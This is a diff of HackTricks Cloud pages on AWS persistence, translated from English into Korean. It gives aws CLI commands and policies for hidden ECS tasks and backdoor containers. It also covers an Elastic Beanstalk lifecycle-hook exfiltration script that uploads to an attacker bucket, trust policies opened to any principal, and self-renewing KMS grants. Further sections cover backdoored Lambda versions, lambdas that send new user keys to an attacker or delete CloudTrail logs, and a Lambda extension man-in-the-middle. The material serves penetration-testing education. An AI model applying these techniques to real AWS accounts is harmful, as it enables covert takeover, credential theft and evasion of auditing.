# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,29 +4,28 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
### 숨겨진 주기적 ECS 작업
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
> TODO: 테스트
|
||||
|
||||
공격자는 Amazon EventBridge를 사용하여 **악성 작업의 실행을 주기적으로 예약하는 숨겨진 주기적 ECS 작업**을 생성할 수 있습니다. 이 작업은 정찰을 수행하거나 데이터를 유출하거나 AWS 계정에서 지속성을 유지할 수 있습니다.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
### 기존 ECS 작업 정의에서 백도어 컨테이너
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
> TODO: 테스트
|
||||
|
||||
공격자는 합법적인 컨테이너와 함께 실행되는 기존 ECS 작업 정의에 **은밀한 백도어 컨테이너**를 추가할 수 있습니다. 백도어 컨테이너는 지속성을 위해 사용되며 악의적인 활동을 수행하는 데 사용될 수 있습니다.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
### 문서화되지 않은 ECS 서비스
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
> TODO: 테스트
|
||||
|
||||
공격자는 악성 작업을 실행하는 **문서화되지 않은 ECS 서비스**를 생성할 수 있습니다. 원하는 작업 수를 최소로 설정하고 로깅을 비활성화하면 관리자가 악성 서비스를 발견하기가 더 어려워집니다.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
### 리소스 정책 / 보안 그룹 수정
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
**리소스 정책 및/또는 보안 그룹**을 수정하여 파일 시스템에 대한 접근을 지속할 수 있습니다.
|
||||
|
||||
### Create Access Point
|
||||
### 액세스 포인트 생성
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
**액세스 포인트**를 **생성**하여 `/`에 대한 루트 접근이 가능하도록 하고, 파일 시스템에 대한 특권 접근을 유지하기 위해 **다른 지속성**을 구현한 서비스에서 접근할 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,31 +4,30 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
### 인스턴스 내 지속성
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
AWS 계정 내에서 지속성을 유지하기 위해 **인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다** (cron job, ssh key...) 그래서 공격자는 이를 통해 접근하고 IAM 역할 **자격 증명을 메타데이터 서비스에서 탈취할 수 있습니다**.
|
||||
|
||||
### Backdoor in Version
|
||||
### 버전 내 백도어
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
공격자는 S3 리포지토리 내의 코드를 백도어하여 항상 자신의 백도어와 예상되는 코드가 실행되도록 할 수 있습니다.
|
||||
|
||||
### New backdoored version
|
||||
### 새로운 백도어 버전
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
공격자는 실제 버전의 코드를 변경하는 대신 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
### 사용자 정의 리소스 생명 주기 훅 악용
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
> TODO: 테스트
|
||||
|
||||
Elastic Beanstalk는 인스턴스 프로비저닝 및 종료 중에 사용자 정의 스크립트를 실행할 수 있는 생명 주기 훅을 제공합니다. 공격자는 **주기적으로 데이터를 유출하거나 AWS 계정에 대한 접근을 유지하는 스크립트를 실행하도록 생명 주기 훅을 구성할 수 있습니다**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,50 +4,44 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
자세한 정보는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
### 일반적인 IAM 지속성
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
- 사용자 생성
|
||||
- 제어된 사용자를 권한이 있는 그룹에 추가
|
||||
- 액세스 키 생성 (새 사용자 또는 모든 사용자)
|
||||
- 제어된 사용자/그룹에 추가 권한 부여 (첨부된 정책 또는 인라인 정책)
|
||||
- MFA 비활성화 / 자신의 MFA 장치 추가
|
||||
- 역할 체인 저글링 상황 생성 (아래 STS 지속성에서 더 자세히 설명)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
### 백도어 역할 신뢰 정책
|
||||
|
||||
신뢰 정책에 백도어를 추가하여 외부 리소스를 당신이 제어할 수 있도록 가정할 수 있습니다 (또는 모든 사용자에게):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### 백도어 정책 버전
|
||||
|
||||
### Backdoor Policy Version
|
||||
마지막 버전이 아닌 정책에 관리자 권한을 부여한 다음, 해당 버전의 정책을 제어된 사용자/그룹에 할당합니다.
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
### 백도어 / 아이덴티티 제공자 생성
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
계정이 이미 일반 아이덴티티 제공자(예: Github)를 신뢰하고 있는 경우, 신뢰 조건을 증가시켜 공격자가 이를 악용할 수 있도록 할 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,34 @@
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
### KMS 정책을 통한 접근 권한 부여
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
공격자는 **`kms:PutKeyPolicy`** 권한을 사용하여 자신의 제어 하에 있는 사용자에게 키에 대한 **접근 권한을 부여**하거나 외부 계정에 부여할 수 있습니다. 더 많은 정보는 [**KMS Privesc 페이지**](../aws-privilege-escalation/aws-kms-privesc.md)를 확인하세요.
|
||||
|
||||
### Eternal Grant
|
||||
### 영구 권한 부여
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
권한 부여는 특정 키에 대해 주체에게 일부 권한을 부여하는 또 다른 방법입니다. 사용자가 권한을 생성할 수 있도록 허용하는 권한을 부여할 수 있습니다. 또한, 사용자는 동일한 키에 대해 여러 개의 권한(심지어 동일한 권한)을 가질 수 있습니다.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
따라서 사용자는 모든 권한을 가진 10개의 권한을 가질 수 있습니다. 공격자는 이를 지속적으로 모니터링해야 합니다. 그리고 어느 시점에서 1개의 권한이 제거되면 다른 10개의 권한이 생성되어야 합니다.
|
||||
|
||||
(우리는 사용자가 여전히 일부 권한을 가지고 있는 동안 권한이 제거되었음을 감지할 수 있도록 10을 사용하고 있습니다.)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
> 권한 부여는 다음에서만 권한을 부여할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information check:
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
람다가 은밀하게 실행될 때 **임의의 코드를 실행하기 위해 레이어를 도입/백도어**하는 것이 가능합니다:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Lambda Layers를 악용하여 확장을 악용하고 람다에 지속적으로 존재할 수 있으며 요청을 훔치고 수정할 수도 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,41 +28,37 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
외부 계정에 대해 다양한 람다 작업(예: 호출 또는 코드 업데이트)에 대한 액세스를 부여할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
람다는 **다양한 버전**(각 버전마다 다른 코드)을 가질 수 있습니다.\
|
||||
그런 다음, **다양한 버전의 람다에 대해 다양한 별칭을 생성**하고 각 별칭에 대해 다른 가중치를 설정할 수 있습니다.\
|
||||
이렇게 하면 공격자는 **백도어가 있는 버전 1**과 **정상 코드만 있는 버전 2**를 생성하고 **1%의 요청에서만 버전 1을 실행**하여 은밀함을 유지할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
1. Lambda의 원본 코드를 복사합니다.
|
||||
2. 원본 코드를 **백도어하는 새로운 버전을 생성**합니다(또는 악성 코드만 포함). 해당 버전을 게시하고 **$LATEST에 배포**합니다.
|
||||
1. 람다와 관련된 API 게이트웨이를 호출하여 코드를 실행합니다.
|
||||
3. **원본 코드로 새로운 버전을 생성**, 게시하고 해당 **버전을 $LATEST에 배포**합니다.
|
||||
1. 이렇게 하면 이전 버전에서 백도어 코드가 숨겨집니다.
|
||||
4. API Gateway로 이동하여 **새 POST 메서드**(또는 다른 메서드 선택)를 생성하여 람다의 백도어 버전을 실행합니다: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. 최종 :1의 arn은 **함수의 버전을 나타냅니다**(이 시나리오에서 버전 1은 백도어가 있는 것입니다).
|
||||
5. 생성된 POST 메서드를 선택하고 작업에서 **`API 배포`**를 선택합니다.
|
||||
6. 이제 **POST를 통해 함수를 호출하면 백도어가 호출됩니다**.
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
무언가가 발생하거나 시간이 경과할 때 **람다 함수를 실행할 수 있다는 사실**은 람다를 지속성을 얻고 탐지를 피하는 좋은 일반적인 방법으로 만듭니다.\
|
||||
여기 AWS에서 **은밀하게 존재하기 위해 람다를 생성하는 몇 가지 아이디어가 있습니다**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
- 새로운 사용자가 생성될 때마다 람다가 새로운 사용자 키를 생성하고 공격자에게 보냅니다.
|
||||
- 새로운 역할이 생성될 때마다 람다가 손상된 사용자에게 역할 수임 권한을 부여합니다.
|
||||
- 새로운 클라우드트레일 로그가 생성될 때마다 이를 삭제/변경합니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,46 +1,42 @@
|
||||
# AWS - Abusing Lambda Extensions
|
||||
# AWS - Lambda 확장 악용
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Extensions
|
||||
## Lambda 확장
|
||||
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
Lambda 확장은 다양한 **모니터링, 가시성, 보안 및 거버넌스 도구**와 통합하여 기능을 향상시킵니다. 이러한 확장은 [.zip 아카이브를 사용한 Lambda 레이어](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 또는 [컨테이너 이미지 배포에 포함](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)되어 두 가지 모드에서 작동합니다: **내부** 및 **외부**.
|
||||
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
- **내부 확장**은 런타임 프로세스와 통합되어 **언어별 환경 변수** 및 **래퍼 스크립트**를 사용하여 시작을 조작합니다. 이 사용자 정의는 **Java Correto 8 및 11, Node.js 10 및 12, .NET Core 3.1**을 포함한 다양한 런타임에 적용됩니다.
|
||||
- **외부 확장**은 별도의 프로세스로 실행되며, Lambda 함수의 생명 주기와 운영 정렬을 유지합니다. 이들은 **Node.js 10 및 12, Python 3.7 및 3.8, Ruby 2.5 및 2.7, Java Corretto 8 및 11, .NET Core 3.1** 및 **사용자 정의 런타임**과 호환됩니다.
|
||||
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
[**Lambda 확장이 작동하는 방식에 대한 자세한 정보는 문서를 확인하세요**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
### 지속성, 요청 도용 및 요청 수정용 외부 확장
|
||||
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
이 게시물에서 제안된 기술의 요약입니다: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
Lambda 런타임 환경의 기본 Linux 커널이 “**process_vm_readv**” 및 “**process_vm_writev**” 시스템 호출로 컴파일되어 있다는 것이 발견되었습니다. 그리고 모든 프로세스는 동일한 사용자 ID로 실행되며, 외부 확장을 위해 생성된 새로운 프로세스도 마찬가지입니다. **이는 외부 확장이 설계상 Rapid의 힙 메모리에 대한 전체 읽기 및 쓰기 접근 권한을 갖는다는 것을 의미합니다.**
|
||||
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
게다가, Lambda 확장은 **호출 이벤트에 구독할 수 있는 능력**이 있지만, AWS는 이러한 확장에 원시 데이터를 공개하지 않습니다. 이는 **확장이 HTTP 요청을 통해 전송된 민감한 정보에 접근할 수 없도록 보장합니다.**
|
||||
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
Init (Rapid) 프로세스는 [http://127.0.0.1:9001](http://127.0.0.1:9001/)에서 모든 API 요청을 모니터링하며, Lambda 확장은 초기화되고 모든 런타임 코드 실행 전에 실행되지만 Rapid 이후에 실행됩니다.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
변수 **`AWS_LAMBDA_RUNTIME_API`**는 **자식 런타임 프로세스** 및 추가 확장에 대한 Rapid API의 **IP** 주소와 **포트** 번호를 나타냅니다.
|
||||
|
||||
> [!WARNING]
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
> **`AWS_LAMBDA_RUNTIME_API`** 환경 변수를 우리가 접근할 수 있는 **`port`**로 변경하면 Lambda 런타임 내의 모든 작업을 가로챌 수 있습니다 (**중간자 공격**). 이는 확장이 Rapid Init과 동일한 권한으로 실행되며, 시스템의 커널이 **프로세스 메모리 수정**을 허용하여 포트 번호를 변경할 수 있기 때문에 가능합니다.
|
||||
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
**확장이 모든 런타임 코드 이전에 실행되기 때문에**, 환경 변수를 수정하면 런타임 프로세스(예: Python, Java, Node, Ruby)가 시작될 때 영향을 미칩니다. 또한, 이 변수에 의존하는 **우리 이후에 로드된 확장**도 우리의 확장을 통해 라우팅됩니다. 이 설정은 악성 소프트웨어가 보안 조치나 로깅 확장을 런타임 환경 내에서 완전히 우회할 수 있게 할 수 있습니다.
|
||||
|
||||
